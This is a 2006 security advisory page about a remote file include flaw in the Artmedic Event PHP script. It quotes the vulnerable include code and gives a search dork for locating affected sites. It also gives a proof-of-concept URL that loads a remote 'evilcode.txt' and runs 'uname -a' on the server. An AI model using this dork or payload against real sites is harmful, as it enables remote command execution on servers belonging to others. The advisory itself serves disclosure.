Artmedic Event Remote File Include Vulnerability

2006.05.02
Risk: High
Local: No
Remote: Yes
CWE: CWE-Other


Ogólna skala CVSS: 5/10
Znaczenie: 2.9/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Brak
Wpływ na integralność: Częściowy
Wpływ na dostępność: Brak

Original Advisory : http://kurdishsecurity.blogspot.com/2006/04/artmedic-event-remote-file-i nclude.html #Artmedic Event Remote File Include Vulnerability #Website : http://www.artmedic.de/ #Script : Artmedic Event Script #Risk : High #Class : Remote #Greetz : B3g0k,Nistiman,Flot,Netqurd etc.. #d0rk : "/event/index.php?page=" "Artmedic Web Desing" Description [Deutch] "artmedic event, author Ellen Baitinger, artmedic webdesign, http://www.artmedic.de Dieses Programm ist Freeware und darf kostenlos eingesetzt werden, solange der Link auf artmedic webdesign und die Hinweise der Autorenschaft unangetastet bleiben." I. if(!file_exists("artmedic_event_inc.php")) {include("setup.php"); exit; } require("artmedic_event_inc.php"); echo "$eventtitle"; $start = filectime($news); $jetzt = time(); $update = "$start"+"$timespan"; if($jetzt >= $update) {include("artmedic_event_html.php");} ------------------------------------------------------------------------ ----- II. if(!$id and !$page) {@include("artmedic_event1.htm");} if(!$id and $page) {@include("$page");} if($id==1) {include("artmedic_event_inputform.htm");} if($id==2) {include("artmedic_event_add.php");} ? ------------------------------------------------------------------------ ------- III. Proof of Concept: http://www.site.com/[path]/event/index.php?page=evilcode.txt?&cmd=uname -a


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top